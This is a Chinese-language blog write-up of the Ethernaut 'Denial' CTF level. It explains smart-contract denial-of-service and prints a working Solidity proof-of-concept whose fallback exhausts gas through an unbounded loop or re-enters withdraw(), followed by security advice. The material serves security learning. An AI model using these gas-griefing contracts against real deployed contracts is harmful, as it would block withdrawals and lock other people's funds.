{"content":{"title":"Ethernaut学习之路 Denial","body":"# Ethernaut Solutions\r\n[on my Github](https://github.com/Chocolatieee0929/ContractSafetyStudy/blob/main/ethernaut/solution/20.Denial.md)\r\n我通过破解 Ethernaut CTF 学习了智能合约漏洞，对合约进行了安全分析，并提出了相应的安全建议，以帮助其他开发者更好地保护他们的智能合约，鉴于网络上教程较多，我着重分享1~19题里难度四星以上以及20题及以后的题目。\r\n### About Ethernaut\r\n- Ethernaut 是由 Zeppelin 开发并维护的一个平台。，上面有很多包含了以太坊经典漏洞的合约，以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践，并提供了一个交互式的环境，让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门，也适用于有经验的开发者深入学习智能合约安全。\r\n- 平台网址：https://ethernaut.zeppelin.solutions/\r\n\r\n# Denial合约分析\r\n我们将通过DoS攻击来解决这道题，在正式开始之前，我们首先了解什么是智能合约Denial of Service攻击。\r\n\r\n## Denial of Service (DoS)\r\n\r\n### 1. 定义\r\n\r\n> 恶意用户或者恶意合约利用合约中的漏洞或者设计不当的地方，来耗尽合约的资源，导致合约无法正常执行或者停止响应。\r\n> \r\n\r\n### 2. 探寻原因\r\n\r\n智能合约 DoS 攻击可能包括以下形式：\r\n\r\n1. **Gas Exhaustion**：攻击者创建一个高度复杂的智能合约或者循环调用合约中的操作，消耗了大量的燃气（gas），从而使得交易无法完成或者执行非常缓慢。\r\n2. **Condition Attack**：触发合约中的某个漏洞让进入条件崩溃，无法再执行，常见的是利用智能合约中的条件判断语句（如 require、assert 等）的漏洞，使得条件判断无法达到预期的结果，从而导致合约无法正常执行下去。\r\n3. **State Bloat**：攻击者通过大量创建无用或者恶意的状态对象，如大量的合约、用户、或者数据项，来使得合约状态变得庞大，从而影响合约的存储和处理能力，导致合约执行速度下降或者无法正常运行，很可能导致**Gas Exhaustion。**\r\n   \r\n## 合约分析\r\n- 攻击类型：Denial of Service (DoS)\r\n- 目标：阻止其他人从 fund 中 withdraw 以太币，即要阻止 withdraw 函数的运行。\r\n- 平台网址：https://ethernaut.zeppelin.solutions/\r\n```solidity\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.8.0;\r\ncontract Denial {\r\n\r\n    address public partner; // withdrawal partner - pay the gas, split the withdraw\r\n    address public constant owner = address(0xA9E);\r\n    uint timeLastWithdrawn;\r\n    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances\r\n\r\n    function setWithdrawPartner(address _partner) public {\r\n        partner = _partner;\r\n    }\r\n\r\n    // withdraw 1% to recipient and 1% to owner\r\n    function withdraw() public {\r\n        uint amountToSend = address(this).balance / 100;\r\n        // perform a call without checking return\r\n        // The recipient can revert, the owner will still get their share\r\n        partner.call{value:amountToSend}(\"\");\r\n        payable(owner).transfer(amountToSend);\r\n        // keep track of last withdrawal time\r\n        timeLastWithdrawn = block.timestamp;\r\n        withdrawPartnerBalances[partner] +=  amountToSend;\r\n    }\r\n\r\n    // allow deposit of funds\r\n    receive() external payable {}\r\n\r\n    // convenience function\r\n    function contractBalance() public view returns (uint) {\r\n        return address(this).balance;\r\n    }\r\n}\r\n```\r\n\r\n这个合约容易理解，就是将合约里的收益的 1% 发放给 `partner`，1% 发放给`owner`。\r\n\r\n在这我们关注 `withdraw`函数，\r\n\r\n- 首先注意该函数并没有设置任何限制条件，任何人都可以调用该函数；\r\n- 每次`withdraw`将合约里的收益的 1% 发放给 `partner`，1% 发放给`owner`，并更新 `partner` 领取收益的记录；\r\n- 其次该函数中使用了`call`函数，该函数是`solidity`中一个低级函数，它允许我们执行一个外部合约的函数，并没有检查返回值，如果外部合约的函数执行失败，该函数会继续执行下去；\r\n- 通过 transfer 函数，将 1%的余额转移到合约的所有者地址：transfer 函数是一个高级别的转账函数，会自动抛出异常（revert），如果转账失败，从而保护合约免受恶意合约的攻击。\r\n- 更新上一次执行提取函数的时间和余额：记录最后一次执行提取操作的时间和金额，以便跟踪提取操作的历史。\r\n\r\n```solidity\r\n// withdraw 1% to recipient and 1% to owner\r\n    function withdraw() public {\r\n        uint amountToSend = address(this).balance / 100;\r\n        // perform a call without checking return\r\n        // The recipient can revert, the owner will still get their share\r\n        partner.call{value:amountToSend}(\"\");\r\n        payable(owner).transfer(amountToSend);\r\n        // keep track of last withdrawal time\r\n        timeLastWithdrawn = block.timestamp;\r\n        withdrawPartnerBalances[partner] +=  amountToSend;\r\n    }\r\n```\r\n\r\n1. 很容易能够注意到 `partner.call{value:amountToSend}(\"\")`，如果通过对合约进行转账会调用`fallback`或者`receive`函数来收款，再看，任何人可以通过`setWithdrawPartner`函数设置 partner，这是我们可以利用攻击的点；\r\n2. `partner.call{value:amountToSend}(\"\")`在对未知合约进行外部调用时没有指定固定的 gas 量，仍然可能会产生 DoS 攻击，[call-stack-depth](https://docs.soliditylang.org/en/latest/security-considerations.html#call-stack-depth) 可以看到，外部调用在发起时最多可以使用当前可用 gas 的 63/64，当剩余 1/64 的 gas 无法满足，`withdraw` 就会失败。\r\n\r\n# Proof of Concept\r\n\r\n根据以上分析，完整的 PoC 代码如下：\r\n\r\n```solidity\r\ninterface IDenial {\r\n    function withdraw() external;\r\n    function setWithdrawPartner(address _partner) external;\r\n}\r\n\r\ncontract Solution {\r\n    address public contractAddress;\r\n    address public owner;\r\n\r\n    constructor(address _contractAddress) {\r\n        contractAddress = _contractAddress;\r\n        owner =  msg.sender;\r\n    }\r\n\r\n    function exploit() internal {\r\n        uint256 sum;\r\n        for (uint256 index = 0; index < type(uint256).max; index++) {\r\n            sum += 1;\r\n        }\r\n    }\r\n\r\n    function attack() public {\r\n        IDenial(contractAddress).setWithdrawPartner(address(this));\r\n    }\r\n\r\n    function withdraw() external {\r\n        require(owner ==  msg.sender, \"Not owner\");\r\n        payable(owner).transfer(address(this).balance);\r\n    }\r\n\r\n    fallback() external payable {\r\n        exploit();\r\n        // contractAddress.call(abi.encodeWithSignature(\"withdraw()\"));\r\n    }\r\n}\r\n\r\ncontract DenialTest is BaseTest {\r\n\r\n    Solution public solution;\r\n\r\n    function setUp() public override {\r\n        super.setUp();\r\n    }\r\n\r\n    function test_Attack() public {\r\n\r\n        solution = new Solution(contractAddress);\r\n        solution.attack();\r\n\r\n        uint256 beforeBalance = contractAddress.balance;\r\n\r\n        contractAddress.call{gas: 10**6 }(abi.encodeWithSignature(\"withdraw()\"));\r\n\r\n        uint256 afterBalance = contractAddress.balance;\r\n\r\n        require(beforeBalance == afterBalance, \"Not successful\");\r\n    }\r\n}\r\n```\r\n\r\n1. **暴力循环耗尽gas** 我们通过`Denial(contractAddress).setWithdrawPartner`将攻击合约设置为`partner`，攻击合约的`fallback`函数将调用`Denial(contractAddress).withdraw`，当调用`Denial(contractAddress).withdraw`，进入 partner 合约的收款函数后又调用`exploit`函数(如下)通过一个庞大的循环将 63/64 gas 耗尽，剩余的 1/64 gas 满足不了后续的操作，withdraw 函数失败。\r\n\r\n```solidity\r\n    function exploit() internal {\r\n        uint256 sum;\r\n        for (uint256 index = 0; index < type(uint256).max; index++) {\r\n            sum += 1;\r\n        }\r\n    }\r\n    fallback() external payable {\r\n        exploit();\r\n    }\r\n```\r\n2. **Reentrancy耗尽gas** 也可以选择通过重入攻击来消耗 gas，Partner 的 `fallback`回调`Denial(contractAddress).withdraw`函数，从而导致递归调用，重复进入 withdraw 将 63/64 gas 耗尽，剩余的 1/64 gas 满足不了后续的操作，withdraw 函数失败。\r\n\r\n```solidity\r\n    fallback() external payable {\r\n        contractAddress.call(abi.encodeWithSignature(\"withdraw()\"));\r\n    }\r\n```\r\n# 安全建议\r\n\r\n1. 特殊函数应设定权限，例如`Denial(contractAddress).setWithdrawPartner()`，这个至关重要，尤其涉及资金；\r\n2. **重入** 通常我们遵循[检查-影响-交互](https://docs.soliditylang.org/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern)的模式，并采取适当的条件检查、使用适当的锁定机制以及限制外部调用来避免重入攻击。尤其需要注意，在某些情况下，即使在函数末尾进行多个外部调用，也可能导致类似的问题。例如，在函数末尾进行多个外部调用时，如果某个外部调用触发了另一个合约中的重入攻击，那么这种攻击仍然可能发生。在这种情况下，即使合约自身符合 CEI 模式和其他最佳实践，也无法完全防止外部合约中的恶意行为；\r\n3. **DoS** 上述提过，外部调用在发起时最多可以使用当前可用 gas 的 63/64。因此，根据完成交易所需的 gas 量，可以使用具有足够高 gas 的交易来缓解这种特定的攻击。这确保即使大部分 gas 被消耗，仍然有足够的剩余 gas 完成父调用中的剩余操作码。另外需要注意，使用适当的条件检查，设定合约操作的边界条件来避免循环和复杂计算，限制外部调用以避免重入攻击。"},"author":{"user":"https://learnblockchain.cn/people/18116","address":"0x3F3cFa84D3825185C897cC6FCaac35431169Dc2F"},"history":"bafkreidx46usw6qvbmjx7wboz56pkcnauuk6dvn42efm6zpacftlh3r4gm","timestamp":1709359512,"version":1}